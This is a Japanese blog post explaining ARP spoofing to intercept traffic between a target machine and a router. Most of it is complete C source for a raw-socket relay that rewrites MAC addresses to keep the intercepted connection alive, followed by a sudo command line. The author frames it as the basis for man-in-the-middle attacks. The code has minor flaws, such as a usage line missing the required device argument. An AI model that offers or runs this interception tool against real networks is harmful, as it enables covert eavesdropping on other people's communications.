【c言語】ARPスプーフィングで通信を傍受する


先日のARPポイズニングの記事を書きました。


対象にARPパケットを送りARPテーブルを書き換えるというものでした。
今回はひと手間加えてマシンとマシンの間に入り通信を傍受してみたいと思います。
今回は通信を覗き見るだけですが、これを少し発展させると中間者攻撃などの攻撃が実現できます。(鍵の認証をどうこうするみたいなやつです)
いずれにしろ ARPスプーフィングでネットワークを掌握できるということです。



実装の前に

先日のARPポイズニングで対象マシンのARPテーブルを更新することにより通信先を制御することができました。
しかしただ単に書き換えるだけだと、対象マシンの通信を遮断するという効果しか得られません。
ここで対象マシンの通信を監視したい場合、対象マシンの通信相手のARPテーブルも更新する必要があります。
例えばルーターとかですね。
ルーターのARPテーブルを書き換えることができれば、マシンの外部との通信を監視することができます。

無線ネットワークだとプロミスキャスモードにしてもデータリンクにパケットが流れてきませんよね。(有線のリピータハブとかだったら流れてくるようですが。)
物理層ではじかれたりしてるんですかね。

そこでARPポイズニングを使いルーティングを制御すればパケットの監視ができると思いました。
今回ARPテーブルを更新する対象はネットワーク内のマシン一台(マシンA)とルーターです。

やることは以下です。

  1. マシンAのARPテーブルにある、
    ルーターのIPアドレスに紐づくMACアドレスを中間者(自分)のものに書き換える
  2. ルーターのARPテーブルにある、
    マシンAのIPアドレスに紐づくMACアドレスを中間者(自分)のものに書き換える
  3. 二つのマシンが送信したパケットの宛先アドレスと送信元アドレスを書き換え通信を維持させる

1と2に関しては前回作成したプログラムを使えばすぐいけます。
ただ前回のプログラムは一プロセスにつき一つのマシンに対してしか更新をかけることができない作りになってました。
ですからターミナルを2つ開いてそれぞれアドレスを指定して実行する必要があります。
すみません。

3に関してもそんなに難しいことではございません。
1と2を実行した後、通信を待ち受けてパケットを受信したら宛先MACアドレスと送信元MACアドレスを書き換え、また送信するだけです。

実装

今回もプログラムを作成していきます。

もっと賢いやり方があるかと思いますが、とりあえずこんな感じです。

#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <netinet/if_ether.h>
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct {
  char *device;
  char *middleMac;
  char *targetMac1;
  char *targetMac2;
} param = {"", "", "", ""};

void setMacAddr(char *macAddr, uint8_t *mac) {
  int temp[6];

    sscanf(macAddr, "%x:%x:%x:%x:%x:%x", &temp[0], &temp[1], &temp[2], &temp[3], &temp[4], &temp[5]);
    for (int i=0; i<sizeof(temp)/sizeof(temp[0]); i++) {
        mac[i] = temp[i];
    }
}

// 転送処理
void transfer(int soc, char *packet, size_t len) {
  char *buf = packet;

  struct ether_header *eh = (struct ether_header *)buf;
  buf += sizeof(struct ether_header);

  if (ntohs(eh->ether_type) != ETHERTYPE_IP) {
    return;
  }

  setMacAddr(param.targetMac2, eh->ether_dhost);
  if (memcmp(eh->ether_shost, eh->ether_dhost, 6) == 0) {
    setMacAddr(param.targetMac1, eh->ether_dhost);
  }
  setMacAddr(param.middleMac, eh->ether_shost);

  if (send(soc, packet, len, 0)==-1) {
    perror("send");
  }
}

// 受信処理
void sendRecv(int soc) {
  fd_set mask;
  struct timeval tv;
  char buf[16384];
  size_t len = 0;

  for (;;) {
    FD_ZERO(&mask);
    FD_SET(soc, &mask);
    tv.tv_sec = 3;
    tv.tv_usec = 0;
    switch(select(soc+1, (fd_set *)&mask, NULL, NULL, &tv)) {
      case -1:
        break;
      case 0:
        break;
      default:
        if (FD_ISSET(soc, &mask)) {
          if ((len = recv(soc, buf, sizeof(buf), 0)) < 0) {
            perror("recv");
          } else {
            transfer(soc, buf, len);
          }
        }
    }
  }
}

// ソケット作成
int makeSocket(char *device)
{
  int soc;
  struct sockaddr sa;

  struct sockaddr_ll ll;
  struct ifreq ifReq;

  if ((soc = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) == -1) {
    perror("socket");
    return -1;
  }

  snprintf(ifReq.ifr_name, sizeof(ifReq.ifr_name), "%s", device);
  if (ioctl(soc, SIOCGIFINDEX, &ifReq) < 0 ){
    perror("ioctl");
    return -1;
  }

  ll.sll_family = PF_PACKET;
  ll.sll_protocol = htons(ETH_P_ALL);
  ll.sll_ifindex = ifReq.ifr_ifindex;

  if (bind(soc, (struct sockaddr *)&ll, sizeof(ll)) < 0 ) {
    perror("bind");
    return -1;
  }

  return soc;
}

// 引数: デバイス 中間者MAC ターゲットMAC1 ターゲットMAC2
int main(int argc, char *argv[])
{
  int soc;
  if (argc < 5) {
    printf("[Error]: Args [device] [middle mac] [target mac 1] [target mac 2]\n");
    exit(0);
  }

  param.device = argv[1];
  param.middleMac = argv[2];
  param.targetMac1 = argv[3];
  param.targetMac2 = argv[4];

  if ((soc = makeSocket(param.device)) == -1) {
    printf("[Error] failed make socket\n");
    exit(1);
  }

  printf("Monitor connection between %s and %s\n", argv[3], argv[4]);

  sendRecv(soc);

  return 0;
}
sudo ./MITM {中間者のMACアドレス} {対象マシン1のMACアドレス} {対象マシン2のMACアドレス}

最後に

これでパケットの監視ができるようになりました。
ただ外部との通信といってもほとんどwebだと思います。
現在ほとんどの通信はsslによって保護されており監視できても何をやり取りしているかはわかりません。

この記事を書いてみて、いつかrsaの中間者攻撃などやってみたいなと思いました。